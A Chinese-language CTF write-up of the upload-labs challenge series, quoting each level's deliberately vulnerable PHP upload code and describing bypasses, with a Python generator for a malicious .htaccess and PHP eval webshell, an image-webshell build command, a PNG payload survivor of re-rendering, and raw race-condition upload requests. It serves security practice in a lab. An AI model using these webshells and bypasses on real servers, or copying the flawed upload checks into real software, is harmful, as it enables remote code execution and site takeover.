是weber勇闯20关,哈哈哈!老早就想写这个东西了,因为最喜欢遇到上传的题型,基础要求稍微低那么一点点。从开学拖到寒假,我不愧是🕊王!
Pass-01
第一关,本来想抓包上传的,发现代理之后还提醒我不能上传php的说明,判断是前端的!查看源码,发现是jS判断后缀。。。。
覆盖原先JS里面的内容完成上传
Pass-02
第二关将后缀,改为jpg,抓包后改为php再上传,没看到我上传的upload路径,还以为我错了,看了下源码,就是通过mime来验证,没错下一题。
1 | $is_upload = false; |
2 | $msg = null; |
3 | if (isset($_POST['submit'])) { |
4 | if (file_exists(UPLOAD_PATH)) { |
5 | if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { |
6 | $temp_file = $_FILES['upload_file']['tmp_name']; |
7 | $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] |
8 | if (move_uploaded_file($temp_file, $img_path)) { |
9 | $is_upload = true; |
10 | } else { |
11 | $msg = '上传出错!'; |
12 | } |
13 | } else { |
14 | $msg = '文件类型不正确,请重新上传!'; |
15 | } |
16 | } else { |
17 | $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; |
18 | } |
19 | } |
Pass-03
上传了PHP,弹窗说asp、php等被过滤,就判断是特判了,将php改成了php5。
不允许上传.asp,.aspx,.php,.jsp后缀文件,但是可以上传其他任意后缀。比如说:.phtml .phps .php5 .pht,但如果上传的是.php5这种类型文件的话,如果想要被当成php执行的话,需要有个前提条件,即Apache的httpd.conf有如下配置代码
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
AddType 指令:在给定的文件扩展名与特定的内容类型之间建立映射
但是03,没有过滤htaccess,所以可以直接上传htaccess,将jpg后缀解析为php文件
1 | $is_upload = false; |
2 | $msg = null; |
3 | if (isset($_POST['submit'])) { |
4 | if (file_exists(UPLOAD_PATH)) { |
5 | $deny_ext = array('.asp','.aspx','.php','.jsp'); |
6 | $file_name = trim($_FILES['upload_file']['name']); |
7 | $file_name = deldot($file_name);//删除文件名末尾的点 |
8 | $file_ext = strrchr($file_name, '.'); |
9 | $file_ext = strtolower($file_ext); //转换为小写 |
10 | $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA |
11 | $file_ext = trim($file_ext); //收尾去空 |
12 | |
13 | if(!in_array($file_ext, $deny_ext)) { |
14 | $temp_file = $_FILES['upload_file']['tmp_name']; |
15 | $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; |
16 | if (move_uploaded_file($temp_file,$img_path)) { |
17 | $is_upload = true; |
18 | } else { |
19 | $msg = '上传出错!'; |
20 | } |
21 | } else { |
22 | $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; |
23 | } |
24 | } else { |
25 | $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; |
26 | } |
27 | } |
Pass-04
过滤了好多好多好多好多后缀。。但是唯独没有过滤htaccess。。。
1 | $is_upload = false; |
2 | $msg = null; |
3 | if (isset($_POST['submit'])) { |
4 | if (file_exists(UPLOAD_PATH)) { |
5 | $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"); |
6 | $file_name = trim($_FILES['upload_file']['name']); |
7 | $file_name = deldot($file_name);//删除文件名末尾的点 |
8 | $file_ext = strrchr($file_name, '.'); |
9 | $file_ext = strtolower($file_ext); //转换为小写 |
10 | $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA |
11 | $file_ext = trim($file_ext); //收尾去空 |
12 | |
13 | if (!in_array($file_ext, $deny_ext)) { |
14 | $temp_file = $_FILES['upload_file']['tmp_name']; |
15 | $img_path = UPLOAD_PATH.'/'.$file_name; |
16 | if (move_uploaded_file($temp_file, $img_path)) { |
17 | $is_upload = true; |
18 | } else { |
19 | $msg = '上传出错!'; |
20 | } |
21 | } else { |
22 | $msg = '此文件不允许上传!'; |
23 | } |
24 | } else { |
25 | $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; |
26 | } |
27 | } |
之前收藏了生成htaccess以及木马的脚本。
1 | SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n" |
2 | |
3 | |
4 | def generate_php_file(filename, script): |
5 | phpfile = open(filename, 'wb') |
6 | |
7 | phpfile.write(script.encode('utf-16be')) |
8 | phpfile.write(SIZE_HEADER) |
9 | |
10 | phpfile.close() |
11 | |
12 | |
13 | def generate_htacess(): |
14 | htaccess = open('.htaccess', 'wb') |
15 | |
16 | htaccess.write(SIZE_HEADER) |
17 | htaccess.write(b'AddType application/x-httpd-php .lethe\n') # 将.lethe后缀的文件作为php解析 |
18 | htaccess.write(b'php_value zend.multibyte 1\n') |
19 | htaccess.write(b'php_value zend.detect_unicode 1\n') |
20 | htaccess.write(b'php_value display_errors 1\n') |
21 | |
22 | htaccess.close() |
23 | |
24 | |
25 | generate_htacess() |
26 | |
27 | generate_php_file("shell.lethe", "<?php eval(@$_POST['a']); ?>") |
Pass-05
1 | $is_upload = false; |
2 | $msg = null; |
3 | if (isset($_POST['submit'])) { |
4 | if (file_exists(UPLOAD_PATH)) { |
5 | $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); |
6 | $file_name = trim($_FILES['upload_file']['name']); |
7 | $file_name = deldot($file_name);//删除文件名末尾的点 |
8 | $file_ext = strrchr($file_name, '.'); |
9 | $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA |
10 | $file_ext = trim($file_ext); //首尾去空 |
11 | |
12 | if (!in_array($file_ext, $deny_ext)) { |
13 | $temp_file = $_FILES['upload_file']['tmp_name']; |
14 | $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; |
15 | if (move_uploaded_file($temp_file, $img_path)) { |
16 | $is_upload = true; |
17 | } else { |
18 | $msg = '上传出错!'; |
19 | } |
20 | } else { |
21 | $msg = '此文件类型不允许上传!'; |
22 | } |
23 | } else { |
24 | $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; |
25 | } |
26 | } |
第五关虽然多了个htaccess,但是明显发现比上次的少了PHP后缀的大小写~
Pass-06
和上面代码一样,但是少了一行
$file_ext = trim($file_ext); //首尾去空
可以通过再php后面加空格来绕过!
Pass-07
和上面代码一样但是少了一行
$file_name = deldot($file_name);//删除文件名末尾的点
可以在末尾加.来绕过!
Pass-08
少了这一句
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
必须是windows, 必须是php, 必须是那个源文件
php在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA”之前的文件名
他的目的就是不检查后缀名….
也就是说当文件名为” XX.php.::$DATA “,就可以绕过后缀检测
应该是windows特性,会被默认为文件流处理,但是由于靶机是linux,所以$DATA会被保留。
Pass-09
这题源码
1 | $is_upload = false; |
2 | $msg = null; |
3 | if (isset($_POST['submit'])) { |
4 | if (file_exists(UPLOAD_PATH)) { |
5 | $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); |
6 | $file_name = trim($_FILES['upload_file']['name']); |
7 | $file_name = deldot($file_name);//删除文件名末尾的点 |
8 | $file_ext = strrchr($file_name, '.'); |
9 | $file_ext = strtolower($file_ext); //转换为小写 |
10 | $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA |
11 | $file_ext = trim($file_ext); //首尾去空 |
12 | |
13 | if (!in_array($file_ext, $deny_ext)) { |
14 | $temp_file = $_FILES['upload_file']['tmp_name']; |
15 | $img_path = UPLOAD_PATH.'/'.$file_name; |
16 | if (move_uploaded_file($temp_file, $img_path)) { |
17 | $is_upload = true; |
18 | } else { |
19 | $msg = '上传出错!'; |
20 | } |
21 | } else { |
22 | $msg = '此文件类型不允许上传!'; |
23 | } |
24 | } else { |
25 | $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; |
26 | } |
27 | } |
是比较完整的源码。看他源码,先是删除末尾的点,再进行末尾去空格。但是如果后缀还有个点的话,当服务器为windows的话会被删除,变成php文件进行解析。只限windows服务器。
Pass-10
源码:
1 | $is_upload = false; |
2 | $msg = null; |
3 | if (isset($_POST['submit'])) { |
4 | if (file_exists(UPLOAD_PATH)) { |
5 | $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); |
6 | |
7 | $file_name = trim($_FILES['upload_file']['name']); |
8 | $file_name = str_ireplace($deny_ext,"", $file_name); |
9 | $temp_file = $_FILES['upload_file']['tmp_name']; |
10 | $img_path = UPLOAD_PATH.'/'.$file_name; |
11 | if (move_uploaded_file($temp_file, $img_path)) { |
12 | $is_upload = true; |
13 | } else { |
14 | $msg = '上传出错!'; |
15 | } |
16 | } else { |
17 | $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; |
18 | } |
19 | } |
trim — 去除字符串首尾处的空白字符(或者其他字符),
所以双写即可绕过。
Pass-11
源码:
1 | $is_upload = false; |
2 | $msg = null; |
3 | if(isset($_POST['submit'])){ |
4 | $ext_arr = array('jpg','png','gif'); |
5 | $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); |
6 | if(in_array($file_ext,$ext_arr)){ |
7 | $temp_file = $_FILES['upload_file']['tmp_name']; |
8 | $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; |
9 | |
10 | if(move_uploaded_file($temp_file,$img_path)){ |
11 | $is_upload = true; |
12 | } else { |
13 | $msg = '上传出错!'; |
14 | } |
15 | } else{ |
16 | $msg = "只允许上传.jpg|.png|.gif类型文件!"; |
17 | } |
18 | } |
可以看到路径通过get的save_path拼接,后面利用move_uploaded_file函数,可以利用%00截断后面的内容来上传。
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
原理是利用C语言的终止符特性,当C语言在执行过程中遇到%00会被当成终止符,因此程序会自动截断后续信息。
但是由于PHP环境是7.2的,所以不能实现上传
条件:
php版本小于5.3.x,并且php.ini的magic_quotes_gpc要关闭。
Pass-12
1 | $is_upload = false; |
2 | $msg = null; |
3 | if(isset($_POST['submit'])){ |
4 | $ext_arr = array('jpg','png','gif'); |
5 | $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); |
6 | if(in_array($file_ext,$ext_arr)){ |
7 | $temp_file = $_FILES['upload_file']['tmp_name']; |
8 | $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; |
9 | |
10 | if(move_uploaded_file($temp_file,$img_path)){ |
11 | $is_upload = true; |
12 | } else { |
13 | $msg = "上传失败"; |
14 | } |
15 | } else { |
16 | $msg = "只允许上传.jpg|.png|.gif类型文件!"; |
17 | } |
18 | } |
可以看到将GET改成了POST,POST%00不会被自动解析,所以我们抓取信息后在hex二进制后添加
Pass-13
1 | function getReailFileType($filename){ |
2 | $file = fopen($filename, "rb"); |
3 | $bin = fread($file, 2); //只读2字节 |
4 | fclose($file); |
5 | $strInfo = @unpack("C2chars", $bin); |
6 | $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); |
7 | $fileType = ''; |
8 | switch($typeCode){ |
9 | case 255216: |
10 | $fileType = 'jpg'; |
11 | break; |
12 | case 13780: |
13 | $fileType = 'png'; |
14 | break; |
15 | case 7173: |
16 | $fileType = 'gif'; |
17 | break; |
18 | default: |
19 | $fileType = 'unknown'; |
20 | } |
21 | return $fileType; |
22 | } |
23 | |
24 | $is_upload = false; |
25 | $msg = null; |
26 | if(isset($_POST['submit'])){ |
27 | $temp_file = $_FILES['upload_file']['tmp_name']; |
28 | $file_type = getReailFileType($temp_file); |
29 | |
30 | if($file_type == 'unknown'){ |
31 | $msg = "文件未知,上传失败!"; |
32 | }else{ |
33 | $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; |
34 | if(move_uploaded_file($temp_file,$img_path)){ |
35 | $is_upload = true; |
36 | } else { |
37 | $msg = "上传出错!"; |
38 | } |
39 | } |
40 | } |
代码通过读取文件前两个字节来判断文件类型,因此上传图片马,利用文件包含漏洞,读取图片马,当作php文件解析。
1.php:<?php phpinfo(); ?>
cmd:copy 1.jpg/b+2.php/a webshell.jpg
文件包含漏洞
1 |
|
2 | /* |
3 | 本页面存在文件包含漏洞,用于测试图片马是否能正常运行! |
4 | */ |
5 | header("Content-Type:text/html;charset=utf-8"); |
6 | $file = $_GET['file']; |
7 | if(isset($file)){ |
8 | include $file; |
9 | }else{ |
10 | show_source(__file__); |
11 | } |
12 |
|
利用file读取木马,include将图片马中的php代码解析!
payload:http://2e0b8a71-0ad3-4a16-b653-1cf83aaeaf31.node3.buuoj.cn/include.php?file=upload/4120200115072754.jpg
Pass-14
源码
1 | function isImage($filename){ |
2 | $types = '.jpeg|.png|.gif'; |
3 | if(file_exists($filename)){ |
4 | $info = getimagesize($filename); |
5 | $ext = image_type_to_extension($info[2]); |
6 | if(stripos($types,$ext)>=0){ |
7 | return $ext; |
8 | }else{ |
9 | return false; |
10 | } |
11 | }else{ |
12 | return false; |
13 | } |
14 | } |
15 | |
16 | $is_upload = false; |
17 | $msg = null; |
18 | if(isset($_POST['submit'])){ |
19 | $temp_file = $_FILES['upload_file']['tmp_name']; |
20 | $res = isImage($temp_file); |
21 | if(!$res){ |
22 | $msg = "文件未知,上传失败!"; |
23 | }else{ |
24 | $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res; |
25 | if(move_uploaded_file($temp_file,$img_path)){ |
26 | $is_upload = true; |
27 | } else { |
28 | $msg = "上传出错!"; |
29 | } |
30 | } |
31 | } |
通过getimagesize(),来判断图片。但是其中也有判断是否为jpg,或者gif和png。利用pass-13的图片马可以实现绕过!
getimagesize()
如果只有一个getimagesize()限制那么可以用普通文件,通过设置height以及width来绕过。
如:
1 |
|
2 |
|
Pass-15
1 | function isImage($filename){ |
2 | //需要开启php_exif模块 |
3 | $image_type = exif_imagetype($filename); |
4 | switch ($image_type) { |
5 | case IMAGETYPE_GIF: |
6 | return "gif"; |
7 | break; |
8 | case IMAGETYPE_JPEG: |
9 | return "jpg"; |
10 | break; |
11 | case IMAGETYPE_PNG: |
12 | return "png"; |
13 | break; |
14 | default: |
15 | return false; |
16 | break; |
17 | } |
18 | } |
19 | |
20 | $is_upload = false; |
21 | $msg = null; |
22 | if(isset($_POST['submit'])){ |
23 | $temp_file = $_FILES['upload_file']['tmp_name']; |
24 | $res = isImage($temp_file); |
25 | if(!$res){ |
26 | $msg = "文件未知,上传失败!"; |
27 | }else{ |
28 | $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res; |
29 | if(move_uploaded_file($temp_file,$img_path)){ |
30 | $is_upload = true; |
31 | } else { |
32 | $msg = "上传出错!"; |
33 | } |
34 | } |
35 | } |
通过exif_imagetype()来判断是否为图片。
- exif_imagetype() 读取一个图像的第一个字节并检查其签名。
可以通过图片马绕过。
exif_imagetype()
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
exif_imagetype() 的绕过方式
1 | 可以用"\x00\x00\x8a\x39\x8a\x39" |
2 | 也可以用"#define width 1337" |
3 | "#define height 1337" |
Pass-16
1 | $is_upload = false; |
2 | $msg = null; |
3 | if (isset($_POST['submit'])){ |
4 | // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径 |
5 | $filename = $_FILES['upload_file']['name']; |
6 | $filetype = $_FILES['upload_file']['type']; |
7 | $tmpname = $_FILES['upload_file']['tmp_name']; |
8 |
|
9 | $target_path=UPLOAD_PATH.'/'.basename($filename); |
10 |
|
11 | // 获得上传文件的扩展名 |
12 | $fileext= substr(strrchr($filename,"."),1); |
13 |
|
14 | //判断文件后缀与类型,合法才进行上传操作 |
15 | if(($fileext == "jpg") && ($filetype=="image/jpeg")){ |
16 | if(move_uploaded_file($tmpname,$target_path)){ |
17 | //使用上传的图片生成新的图片 |
18 | $im = imagecreatefromjpeg($target_path); |
19 |
|
20 | if($im == false){ |
21 | $msg = "该文件不是jpg格式的图片!"; |
22 | @unlink($target_path); |
23 | }else{ |
24 | //给新图片指定文件名 |
25 | srand(time()); |
26 | $newfilename = strval(rand()).".jpg"; |
27 | //显示二次渲染后的图片(使用用户上传图片生成的新图片) |
28 | $img_path = UPLOAD_PATH.'/'.$newfilename; |
29 | imagejpeg($im,$img_path); |
30 | @unlink($target_path); |
31 | $is_upload = true; |
32 | } |
33 | } else { |
34 | $msg = "上传出错!"; |
35 | } |
36 |
|
37 | }else if(($fileext == "png") && ($filetype=="image/png")){ |
38 | if(move_uploaded_file($tmpname,$target_path)){ |
39 | //使用上传的图片生成新的图片 |
40 | $im = imagecreatefrompng($target_path); |
41 |
|
42 | if($im == false){ |
43 | $msg = "该文件不是png格式的图片!"; |
44 | @unlink($target_path); |
45 | }else{ |
46 | //给新图片指定文件名 |
47 | srand(time()); |
48 | $newfilename = strval(rand()).".png"; |
49 | //显示二次渲染后的图片(使用用户上传图片生成的新图片) |
50 | $img_path = UPLOAD_PATH.'/'.$newfilename; |
51 | imagepng($im,$img_path); |
52 |
|
53 | @unlink($target_path); |
54 | $is_upload = true; |
55 | } |
56 | } else { |
57 | $msg = "上传出错!"; |
58 | } |
59 |
|
60 | }else if(($fileext == "gif") && ($filetype=="image/gif")){ |
61 | if(move_uploaded_file($tmpname,$target_path)){ |
62 | //使用上传的图片生成新的图片 |
63 | $im = imagecreatefromgif($target_path); |
64 | if($im == false){ |
65 | $msg = "该文件不是gif格式的图片!"; |
66 | @unlink($target_path); |
67 | }else{ |
68 | //给新图片指定文件名 |
69 | srand(time()); |
70 | $newfilename = strval(rand()).".gif"; |
71 | //显示二次渲染后的图片(使用用户上传图片生成的新图片) |
72 | $img_path = UPLOAD_PATH.'/'.$newfilename; |
73 | imagegif($im,$img_path); |
74 |
|
75 | @unlink($target_path); |
76 | $is_upload = true; |
77 | } |
78 | } else { |
79 | $msg = "上传出错!"; |
80 | } |
81 | }else{ |
82 | $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!"; |
83 | } |
84 | } |
二次渲染
二次渲染后会将我们的一句话木马删除
因为环境的问题,我的木马没被删除。。。,我不知道哪里出问题了具体可以看
- PNG图片
1 | <?php |
2 | $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, |
3 | 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, |
4 | 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, |
5 | 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, |
6 | 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, |
7 | 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, |
8 | 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, |
9 | 0x66, 0x44, 0x50, 0x33); |
10 | |
11 | |
12 | |
13 | $img = imagecreatetruecolor(32, 32); |
14 | |
15 | for ($y = 0; $y < sizeof($p); $y += 3) { |
16 | $r = $p[$y]; |
17 | $g = $p[$y+1]; |
18 | $b = $p[$y+2]; |
19 | $color = imagecolorallocate($img, $r, $g, $b); |
20 | imagesetpixel($img, round($y / 3), 0, $color); |
21 | } |
22 | |
23 | imagepng($img,'./1.png'); |
24 | ?> |
- GIF
GIF图片对比原先和二次渲染的部分,将没有被改变的地方中间插入PHP语句就行。
Pass-17
1 | $is_upload = false; |
2 | $msg = null; |
3 | |
4 | if(isset($_POST['submit'])){ |
5 | $ext_arr = array('jpg','png','gif'); |
6 | $file_name = $_FILES['upload_file']['name']; |
7 | $temp_file = $_FILES['upload_file']['tmp_name']; |
8 | $file_ext = substr($file_name,strrpos($file_name,".")+1); |
9 | $upload_file = UPLOAD_PATH . '/' . $file_name; |
10 | |
11 | if(move_uploaded_file($temp_file, $upload_file)){ //临时储存 |
12 | if(in_array($file_ext,$ext_arr)){ //判断 |
13 | $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; |
14 | rename($upload_file, $img_path); |
15 | $is_upload = true; |
16 | }else{ |
17 | $msg = "只允许上传.jpg|.png|.gif类型文件!"; |
18 | unlink($upload_file); //如果不为jpg||png||gif,删除 |
19 | } |
20 | }else{ |
21 | $msg = '上传出错!'; |
22 | } |
23 | } |
因为他是先储存再删除,可以来进行竞争上传,一个上传php文件,一个请求该php文件。
竞争上传
网站逻辑:
1、网站允许上传任意文件,然后检查上传文件是否包含webshell,如果包含删除该文件。
2、网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。
在删除之前访问上传的php文件,从而执行上传文件中的php代码。
从而达到利用的效果。
上传
1 | POST /Pass-17/index.php?action=show_code HTTP/1.1 |
2 | Host: 03c52d9c-b9b4-46c5-ac2a-aa25cb0dee7a.node3.buuoj.cn |
3 | Content-Length: 318 |
4 | Pragma: no-cache |
5 | Cache-Control: no-cache |
6 | Upgrade-Insecure-Requests: 1 |
7 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36 |
8 | Origin: http://03c52d9c-b9b4-46c5-ac2a-aa25cb0dee7a.node3.buuoj.cn |
9 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPBfkOqXEbfZTLCFK |
10 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 |
11 | Referer: http://03c52d9c-b9b4-46c5-ac2a-aa25cb0dee7a.node3.buuoj.cn/Pass-17/index.php?action=show_code |
12 | Accept-Encoding: gzip, deflate |
13 | Accept-Language: zh-CN,zh;q=0.9 |
14 | Connection: close |
15 | |
16 | ------WebKitFormBoundaryPBfkOqXEbfZTLCFK |
17 | Content-Disposition: form-data; name="upload_file"; filename="1.php" |
18 | Content-Type: application/octet-stream |
19 | |
20 | <?php phpinfo(); ?> |
21 | ------WebKitFormBoundaryPBfkOqXEbfZTLCFK |
22 | Content-Disposition: form-data; name="submit" |
23 | |
24 | ä¸ä¼ |
25 | ------WebKitFormBoundaryPBfkOqXEbfZTLCFK-- |
访问
1 | GET /upload/1.php HTTP/1.1 |
2 | Host: 03c52d9c-b9b4-46c5-ac2a-aa25cb0dee7a.node3.buuoj.cn |
3 | Upgrade-Insecure-Requests: 1 |
4 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36 |
5 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 |
6 | Accept-Encoding: gzip, deflate |
7 | Accept-Language: zh-CN,zh;q=0.9 |
8 | Connection: close |
但是由于平台不允许(我太菜,记得好像线程放慢点就可以了!我懒)。
所以不演示了!
Pass-18
18与17类似,一步步验证,如果否则删除
pass-19
1 | $is_upload = false; |
2 | $msg = null; |
3 | if (isset($_POST['submit'])) { |
4 | if (file_exists(UPLOAD_PATH)) { |
5 | $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); |
6 | |
7 | $file_name = $_POST['save_name']; |
8 | $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); //pathinfo()函数以数组返回文件路径的信息。 |
9 | |
10 | if(!in_array($file_ext,$deny_ext)) { |
11 | $temp_file = $_FILES['upload_file']['tmp_name']; |
12 | $img_path = UPLOAD_PATH . '/' .$file_name; |
13 | if (move_uploaded_file($temp_file, $img_path)) { |
14 | $is_upload = true; |
15 | }else{ |
16 | $msg = '上传出错!'; |
17 | } |
18 | }else{ |
19 | $msg = '禁止保存为该类型文件!'; |
20 | } |
21 | |
22 | } else { |
23 | $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; |
24 | } |
25 | } |
Miracle778这个大佬和我觉得差不多,既然上面已经有0x00截断,不再可能考同一个问题。
pathinfo返回信息以数组形式
1 |
|
2 | print_r(pathinfo("/testweb/test.txt")); |
3 |
|
1 | Array |
2 | ( |
3 | [dirname] => /testweb |
4 | [basename] => test.txt |
5 | [extension] => txt |
6 | ) |
因为最后保存的文件名是post[‘save_name’]是可控的,而move_uploaded_file会忽略掉末尾的/.(不和pass-09一样,无PHP版本限制)。
Pass-20
最后一题,这题我做过,这题碰到过。
1 |
|
2 |
|
3 | if(!empty($_FILES['upload_file'])){ |
4 | //检查MIME |
5 | $allow_type = array('image/jpeg','image/png','image/gif'); |
6 | if(!in_array($_FILES['upload_file']['type'],$allow_type)){ |
7 | $msg = "禁止上传该类型文件!"; |
8 | }else{ |
9 | //检查文件名 |
10 | $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; |
11 | if (!is_array($file)) { |
12 | $file = explode('.', strtolower($file)); |
13 | } |
14 | |
15 | $ext = end($file); |
16 | $allow_suffix = array('jpg','png','gif'); |
17 | if (!in_array($ext, $allow_suffix)) { |
18 | $msg = "禁止上传该后缀文件!"; |
19 | }else{ |
20 | $file_name = reset($file) . '.' . $file[count($file) - 1]; |
21 | $temp_file = $_FILES['upload_file']['tmp_name']; |
22 | $img_path = UPLOAD_PATH . '/' .$file_name; |
23 | if (move_uploaded_file($temp_file, $img_path)) { |
24 | $msg = "文件上传成功!"; |
25 | $is_upload = true; |
26 | } else { |
27 | $msg = "文件上传失败!"; |
28 | } |
29 | } |
30 | } |
31 | }else{ |
32 | $msg = "请选择要上传的文件!"; |
33 | } |
- if(!in_array($_FILES[‘upload_file’][‘type’],$allow_type)) 检查MIME
- strtolower()将字符串转为小写
- explode() 函数把字符串打散为数组。可以传入数组绕过。
- $file_name = reset($file) . ‘.’ . $file[count($file) - 1];,如果那个值为空则可以跳过,令save_name[1]的值为空来进行绕过。
谢谢辣能看到这里!!!
一上部分思路参考Miracle778师傅